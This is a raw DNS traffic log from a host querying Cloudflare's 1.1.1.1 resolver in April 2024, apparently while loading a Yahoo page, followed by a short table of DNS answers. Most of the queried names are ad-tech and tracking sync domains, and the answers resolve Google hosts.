Apr 28, 2024 00:42:43.212482929 CEST	192.168.2.4	1.1.1.1	0xc1c9	Standard query (0)	contextual.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.227202892 CEST	192.168.2.4	1.1.1.1	0x1513	Standard query (0)	c21lg-d.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.227328062 CEST	192.168.2.4	1.1.1.1	0x38a2	Standard query (0)	c21lg-d.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.255742073 CEST	192.168.2.4	1.1.1.1	0x492c	Standard query (0)	s0.2mdn.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.255901098 CEST	192.168.2.4	1.1.1.1	0x6b68	Standard query (0)	s0.2mdn.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.261729956 CEST	192.168.2.4	1.1.1.1	0x839b	Standard query (0)	eb2.3lift.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.261859894 CEST	192.168.2.4	1.1.1.1	0x3cf8	Standard query (0)	eb2.3lift.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.263191938 CEST	192.168.2.4	1.1.1.1	0x15f9	Standard query (0)	sync1.intentiq.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.263501883 CEST	192.168.2.4	1.1.1.1	0x1139	Standard query (0)	sync1.intentiq.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.264079094 CEST	192.168.2.4	1.1.1.1	0xa818	Standard query (0)	token.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.264467001 CEST	192.168.2.4	1.1.1.1	0x7802	Standard query (0)	token.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.266277075 CEST	192.168.2.4	1.1.1.1	0x987e	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.266406059 CEST	192.168.2.4	1.1.1.1	0xe323	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.268336058 CEST	192.168.2.4	1.1.1.1	0x537	Standard query (0)	static.yieldmo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.268666983 CEST	192.168.2.4	1.1.1.1	0xc1c0	Standard query (0)	static.yieldmo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.272259951 CEST	192.168.2.4	1.1.1.1	0x1078	Standard query (0)	kinesis.us-east-1.amazonaws.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.272388935 CEST	192.168.2.4	1.1.1.1	0xc364	Standard query (0)	kinesis.us-east-1.amazonaws.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.769155979 CEST	192.168.2.4	1.1.1.1	0x6067	Standard query (0)	bpi.rtactivate.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.769335032 CEST	192.168.2.4	1.1.1.1	0x490b	Standard query (0)	bpi.rtactivate.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.773850918 CEST	192.168.2.4	1.1.1.1	0x18da	Standard query (0)	io.narrative.io	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.774048090 CEST	192.168.2.4	1.1.1.1	0x6d3e	Standard query (0)	io.narrative.io	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.849800110 CEST	192.168.2.4	1.1.1.1	0xae5a	Standard query (0)	a.audrte.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.849992037 CEST	192.168.2.4	1.1.1.1	0x4325	Standard query (0)	a.audrte.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.850414991 CEST	192.168.2.4	1.1.1.1	0x45ba	Standard query (0)	aa.agkn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.851003885 CEST	192.168.2.4	1.1.1.1	0xb37e	Standard query (0)	aa.agkn.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.851003885 CEST	192.168.2.4	1.1.1.1	0x94cd	Standard query (0)	uipglob.semasio.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.851175070 CEST	192.168.2.4	1.1.1.1	0x62db	Standard query (0)	uipglob.semasio.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.852117062 CEST	192.168.2.4	1.1.1.1	0xd8c8	Standard query (0)	pixel.onaudience.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.855607986 CEST	192.168.2.4	1.1.1.1	0x714d	Standard query (0)	pixel.onaudience.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:47.686553955 CEST	192.168.2.4	1.1.1.1	0xb4fe	Standard query (0)	www.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:47.686794996 CEST	192.168.2.4	1.1.1.1	0x7a57	Standard query (0)	www.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:48.643848896 CEST	192.168.2.4	1.1.1.1	0xdd0c	Standard query (0)	beacon-iad2.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.644077063 CEST	192.168.2.4	1.1.1.1	0xb01e	Standard query (0)	beacon-iad2.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:48.653863907 CEST	192.168.2.4	1.1.1.1	0xecb1	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.654148102 CEST	192.168.2.4	1.1.1.1	0x7c70	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:48.655328989 CEST	192.168.2.4	1.1.1.1	0x9e04	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.655525923 CEST	192.168.2.4	1.1.1.1	0x5c1f	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:48.657151937 CEST	192.168.2.4	1.1.1.1	0xd76f	Standard query (0)	sync.srv.stackadapt.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.657418013 CEST	192.168.2.4	1.1.1.1	0x40c1	Standard query (0)	sync.srv.stackadapt.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:48.677370071 CEST	192.168.2.4	1.1.1.1	0x920c	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.677510023 CEST	192.168.2.4	1.1.1.1	0x82e8	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:48.677926064 CEST	192.168.2.4	1.1.1.1	0x35b2	Standard query (0)	aax-eu.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.678083897 CEST	192.168.2.4	1.1.1.1	0x1230	Standard query (0)	aax-eu.amazon-adsystem.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:48.969237089 CEST	192.168.2.4	1.1.1.1	0x59fe	Standard query (0)	dmp.adform.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.969459057 CEST	192.168.2.4	1.1.1.1	0x3780	Standard query (0)	dmp.adform.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.111337900 CEST	192.168.2.4	1.1.1.1	0x496b	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.111485004 CEST	192.168.2.4	1.1.1.1	0x233	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.117080927 CEST	192.168.2.4	1.1.1.1	0x4f00	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.117311954 CEST	192.168.2.4	1.1.1.1	0x3a42	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.122498989 CEST	192.168.2.4	1.1.1.1	0x62b6	Standard query (0)	a.a47b.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.122626066 CEST	192.168.2.4	1.1.1.1	0x8731	Standard query (0)	a.a47b.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.130801916 CEST	192.168.2.4	1.1.1.1	0xd4ec	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.131176949 CEST	192.168.2.4	1.1.1.1	0x3e32	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.155322075 CEST	192.168.2.4	1.1.1.1	0xfd5c	Standard query (0)	hb.yahoo.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.155622005 CEST	192.168.2.4	1.1.1.1	0xeb00	Standard query (0)	hb.yahoo.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.176150084 CEST	192.168.2.4	1.1.1.1	0x1404	Standard query (0)	simage2.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.176358938 CEST	192.168.2.4	1.1.1.1	0x8e56	Standard query (0)	simage2.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.192213058 CEST	192.168.2.4	1.1.1.1	0x412b	Standard query (0)	ads.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.192368031 CEST	192.168.2.4	1.1.1.1	0x4c8a	Standard query (0)	ads.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.203205109 CEST	192.168.2.4	1.1.1.1	0x6f89	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.203363895 CEST	192.168.2.4	1.1.1.1	0xc24c	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.219337940 CEST	192.168.2.4	1.1.1.1	0xdabd	Standard query (0)	s8t.teads.tv	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.219470978 CEST	192.168.2.4	1.1.1.1	0xb97f	Standard query (0)	s8t.teads.tv	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.231023073 CEST	192.168.2.4	1.1.1.1	0x2664	Standard query (0)	cs.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.231147051 CEST	192.168.2.4	1.1.1.1	0xed64	Standard query (0)	cs.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.234210968 CEST	192.168.2.4	1.1.1.1	0x1c7f	Standard query (0)	image4.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.234510899 CEST	192.168.2.4	1.1.1.1	0xfdd5	Standard query (0)	image4.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.304933071 CEST	192.168.2.4	1.1.1.1	0xaf73	Standard query (0)	pixel.tapad.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.305155993 CEST	192.168.2.4	1.1.1.1	0x9135	Standard query (0)	pixel.tapad.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.312429905 CEST	192.168.2.4	1.1.1.1	0xa0aa	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.312829971 CEST	192.168.2.4	1.1.1.1	0xdae7	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.313401937 CEST	192.168.2.4	1.1.1.1	0xecb6	Standard query (0)	sync.mathtag.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.313576937 CEST	192.168.2.4	1.1.1.1	0x49b6	Standard query (0)	sync.mathtag.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.513351917 CEST	192.168.2.4	1.1.1.1	0x28fc	Standard query (0)	spl.zeotap.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.513499022 CEST	192.168.2.4	1.1.1.1	0x447c	Standard query (0)	spl.zeotap.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.570059061 CEST	192.168.2.4	1.1.1.1	0x648	Standard query (0)	usersync.gumgum.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.570318937 CEST	192.168.2.4	1.1.1.1	0xc51a	Standard query (0)	usersync.gumgum.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.576677084 CEST	192.168.2.4	1.1.1.1	0x695d	Standard query (0)	bttrack.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.576898098 CEST	192.168.2.4	1.1.1.1	0x6649	Standard query (0)	bttrack.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.700500965 CEST	192.168.2.4	1.1.1.1	0xfbb7	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.700711012 CEST	192.168.2.4	1.1.1.1	0xce36	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.701184034 CEST	192.168.2.4	1.1.1.1	0x939f	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.701370001 CEST	192.168.2.4	1.1.1.1	0x7c88	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.702507019 CEST	192.168.2.4	1.1.1.1	0x9269	Standard query (0)	ce.lijit.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.702651024 CEST	192.168.2.4	1.1.1.1	0x7ce8	Standard query (0)	ce.lijit.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:49.733999014 CEST	192.168.2.4	1.1.1.1	0x42a1	Standard query (0)	rtb.gumgum.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.734226942 CEST	192.168.2.4	1.1.1.1	0x351a	Standard query (0)	rtb.gumgum.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:50.121064901 CEST	192.168.2.4	1.1.1.1	0xcf8e	Standard query (0)	thrtle.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.121265888 CEST	192.168.2.4	1.1.1.1	0x3e8b	Standard query (0)	thrtle.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:50.170824051 CEST	192.168.2.4	1.1.1.1	0x84fd	Standard query (0)	sync.targeting.unrulymedia.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.171025038 CEST	192.168.2.4	1.1.1.1	0x6e7c	Standard query (0)	sync.targeting.unrulymedia.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:50.198426962 CEST	192.168.2.4	1.1.1.1	0x531c	Standard query (0)	pmp.mxptint.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.198657990 CEST	192.168.2.4	1.1.1.1	0x20d0	Standard query (0)	pmp.mxptint.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:50.262145042 CEST	192.168.2.4	1.1.1.1	0xbd3d	Standard query (0)	synchroscript.deliveryengine.adswizz.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.262320042 CEST	192.168.2.4	1.1.1.1	0xfe7d	Standard query (0)	synchroscript.deliveryengine.adswizz.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:50.262690067 CEST	192.168.2.4	1.1.1.1	0x3356	Standard query (0)	bcp.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.262876034 CEST	192.168.2.4	1.1.1.1	0x8495	Standard query (0)	bcp.crwdcntrl.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:50.297640085 CEST	192.168.2.4	1.1.1.1	0x4dde	Standard query (0)	aa.agkn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.298028946 CEST	192.168.2.4	1.1.1.1	0x93bb	Standard query (0)	aa.agkn.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:50.304270983 CEST	192.168.2.4	1.1.1.1	0xfce9	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.304485083 CEST	192.168.2.4	1.1.1.1	0xe878	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:50.309809923 CEST	192.168.2.4	1.1.1.1	0x2f5e	Standard query (0)	sync.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.310133934 CEST	192.168.2.4	1.1.1.1	0x1457	Standard query (0)	sync.crwdcntrl.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:50.310595036 CEST	192.168.2.4	1.1.1.1	0xc386	Standard query (0)	bpi.rtactivate.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.310904026 CEST	192.168.2.4	1.1.1.1	0xb7a4	Standard query (0)	bpi.rtactivate.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:50.623051882 CEST	192.168.2.4	1.1.1.1	0xb14f	Standard query (0)	mwzeom.zeotap.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.623270035 CEST	192.168.2.4	1.1.1.1	0x5ba2	Standard query (0)	mwzeom.zeotap.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:50.927267075 CEST	192.168.2.4	1.1.1.1	0xf32e	Standard query (0)	help.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.927717924 CEST	192.168.2.4	1.1.1.1	0xc6fe	Standard query (0)	help.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:51.125992060 CEST	192.168.2.4	1.1.1.1	0x5710	Standard query (0)	geo.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:51.126130104 CEST	192.168.2.4	1.1.1.1	0xbd28	Standard query (0)	geo.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:52.388988972 CEST	192.168.2.4	1.1.1.1	0x8e21	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:52.389408112 CEST	192.168.2.4	1.1.1.1	0x6ffe	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:52.813309908 CEST	192.168.2.4	1.1.1.1	0x3dc1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:52.813502073 CEST	192.168.2.4	1.1.1.1	0x902f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:53.395827055 CEST	192.168.2.4	1.1.1.1	0x2dfe	Standard query (0)	onetag-sys.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.396076918 CEST	192.168.2.4	1.1.1.1	0xcde4	Standard query (0)	onetag-sys.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:53.397483110 CEST	192.168.2.4	1.1.1.1	0x646e	Standard query (0)	ssc-cms.33across.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.398991108 CEST	192.168.2.4	1.1.1.1	0x7e5b	Standard query (0)	ssc-cms.33across.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:53.757427931 CEST	192.168.2.4	1.1.1.1	0xa934	Standard query (0)	dispatcher.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:53.757427931 CEST	192.168.2.4	1.1.1.1	0x16cb	Standard query (0)	dispatcher.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.766654968 CEST	192.168.2.4	1.1.1.1	0x96c1	Standard query (0)	dbrd449anfbv4.cloudfront.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.766793966 CEST	192.168.2.4	1.1.1.1	0x6268	Standard query (0)	dbrd449anfbv4.cloudfront.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:53.985846996 CEST	192.168.2.4	1.1.1.1	0xee48	Standard query (0)	de.tynt.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.986275911 CEST	192.168.2.4	1.1.1.1	0xcf17	Standard query (0)	de.tynt.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:54.079500914 CEST	192.168.2.4	1.1.1.1	0x9d1	Standard query (0)	ads.stickyadstv.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.079884052 CEST	192.168.2.4	1.1.1.1	0x4110	Standard query (0)	ads.stickyadstv.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:54.085455894 CEST	192.168.2.4	1.1.1.1	0x2bc3	Standard query (0)	cs.admanmedia.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.085524082 CEST	192.168.2.4	1.1.1.1	0xbad5	Standard query (0)	cs.admanmedia.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:54.092381954 CEST	192.168.2.4	1.1.1.1	0x9e24	Standard query (0)	ssbsync-global.smartadserver.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.092637062 CEST	192.168.2.4	1.1.1.1	0x85e2	Standard query (0)	ssbsync-global.smartadserver.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:54.448962927 CEST	192.168.2.4	1.1.1.1	0x7a3e	Standard query (0)	a.audrte.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.449160099 CEST	192.168.2.4	1.1.1.1	0x714	Standard query (0)	a.audrte.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:54.451253891 CEST	192.168.2.4	1.1.1.1	0x86b2	Standard query (0)	mwzeom.zeotap.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.451401949 CEST	192.168.2.4	1.1.1.1	0x68d6	Standard query (0)	mwzeom.zeotap.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:54.546410084 CEST	192.168.2.4	1.1.1.1	0xebf4	Standard query (0)	hde.tynt.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:54.546410084 CEST	192.168.2.4	1.1.1.1	0x3382	Standard query (0)	hde.tynt.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.671969891 CEST	192.168.2.4	1.1.1.1	0x381b	Standard query (0)	image8.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.672297955 CEST	192.168.2.4	1.1.1.1	0xf8de	Standard query (0)	image8.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:54.860781908 CEST	192.168.2.4	1.1.1.1	0x21af	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.861394882 CEST	192.168.2.4	1.1.1.1	0x5941	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:54.874074936 CEST	192.168.2.4	1.1.1.1	0x1b34	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.874313116 CEST	192.168.2.4	1.1.1.1	0x1106	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:54.888040066 CEST	192.168.2.4	1.1.1.1	0x9519	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.888278008 CEST	192.168.2.4	1.1.1.1	0x130b	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:54.995909929 CEST	192.168.2.4	1.1.1.1	0xf5ed	Standard query (0)	prebid-match.dotomi.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.996043921 CEST	192.168.2.4	1.1.1.1	0xad53	Standard query (0)	prebid-match.dotomi.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:55.769589901 CEST	192.168.2.4	1.1.1.1	0x15a5	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:55.769695044 CEST	192.168.2.4	1.1.1.1	0x8a1	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:57.119066000 CEST	192.168.2.4	1.1.1.1	0x1a74	Standard query (0)	ads.avct.cloud	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.341605902 CEST	192.168.2.4	1.1.1.1	0x863b	Standard query (0)	events-ssc.33across.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.341933012 CEST	192.168.2.4	1.1.1.1	0xff90	Standard query (0)	events-ssc.33across.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:58.422826052 CEST	192.168.2.4	1.1.1.1	0xa021	Standard query (0)	s.aolcdn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.422962904 CEST	192.168.2.4	1.1.1.1	0xe444	Standard query (0)	s.aolcdn.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:58.751482964 CEST	192.168.2.4	1.1.1.1	0x146f	Standard query (0)	ssbsync-global.smartadserver.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.751600027 CEST	192.168.2.4	1.1.1.1	0x1fb4	Standard query (0)	ssbsync-global.smartadserver.com	65	IN (0x0001)	false
Apr 28, 2024 00:43:00.313194990 CEST	192.168.2.4	1.1.1.1	0xcac5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:00.313311100 CEST	192.168.2.4	1.1.1.1	0x7bed	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 28, 2024 00:43:00.872814894 CEST	192.168.2.4	1.1.1.1	0x680b	Standard query (0)	oath-us.api.shopinsync.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:00.872814894 CEST	192.168.2.4	1.1.1.1	0xeab8	Standard query (0)	oath-us.api.shopinsync.com	65	IN (0x0001)	false
Apr 28, 2024 00:43:01.072118998 CEST	192.168.2.4	1.1.1.1	0x46b2	Standard query (0)	onetag-sys.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.072248936 CEST	192.168.2.4	1.1.1.1	0xdeff	Standard query (0)	onetag-sys.com	65	IN (0x0001)	false
Apr 28, 2024 00:43:01.075750113 CEST	192.168.2.4	1.1.1.1	0x1a1f	Standard query (0)	image8.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.075750113 CEST	192.168.2.4	1.1.1.1	0x1a6	Standard query (0)	image8.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:43:01.082961082 CEST	192.168.2.4	1.1.1.1	0x6b1b	Standard query (0)	hbx.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.082961082 CEST	192.168.2.4	1.1.1.1	0xda4e	Standard query (0)	hbx.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:43:01.412796974 CEST	192.168.2.4	1.1.1.1	0xe2e4	Standard query (0)	help.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.412904978 CEST	192.168.2.4	1.1.1.1	0xc2fa	Standard query (0)	help.yahoo.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 28, 2024 00:41:09.014487982 CEST	1.1.1.1	192.168.2.4	0x56f6	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 28, 2024 00:41:09.014791012 CEST	1.1.1.1	192.168.2.4	0x85c2	No error (0)	www.google.com		172.253.122.105	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:09.014791012 CEST	1.1.1.1	192.168.2.4	0x85c2	No error (0)	www.google.com		172.253.122.103	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:09.014791012 CEST	1.1.1.1	192.168.2.4	0x85c2	No error (0)	www.google.com		172.253.122.106	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:09.014791012 CEST	1.1.1.1	192.168.2.4	0x85c2	No error (0)	www.google.com		172.253.122.104	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:09.014791012 CEST	1.1.1.1	192.168.2.4	0x85c2	No error (0)	www.google.com		172.253.122.99	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:09.014791012 CEST	1.1.1.1	192.168.2.4	0x85c2	No error (0)	www.google.com		172.253.122.147	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:12.538285971 CEST	1.1.1.1	192.168.2.4	0x8d6a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:12.538285971 CEST	1.1.1.1	192.168.2.4	0x8d6a	No error (0)	plus.l.google.com		172.253.122.100	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:12.538285971 CEST	1.1.1.1	192.168.2.4	0x8d6a	No error (0)	plus.l.google.com		172.253.122.138	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:12.538285971 CEST	1.1.1.1	192.168.2.4	0x8d6a	No error (0)	plus.l.google.com		172.253.122.101	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:12.538285971 CEST	1.1.1.1	192.168.2.4	0x8d6a	No error (0)	plus.l.google.com		172.253.122.113	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:12.538285971 CEST	1.1.1.1	192.168.2.4	0x8d6a	No error (0)	plus.l.google.com		172.253.122.139	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:12.538285971 CEST	1.1.1.1	192.168.2.4	0x8d6a	No error (0)	plus.l.google.com		172.253.122.102	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:12.539681911 CEST	1.1.1.1	192.168.2.4	0x7d4a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:21.097342968 CEST	1.1.1.1	192.168.2.4	0x17d	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
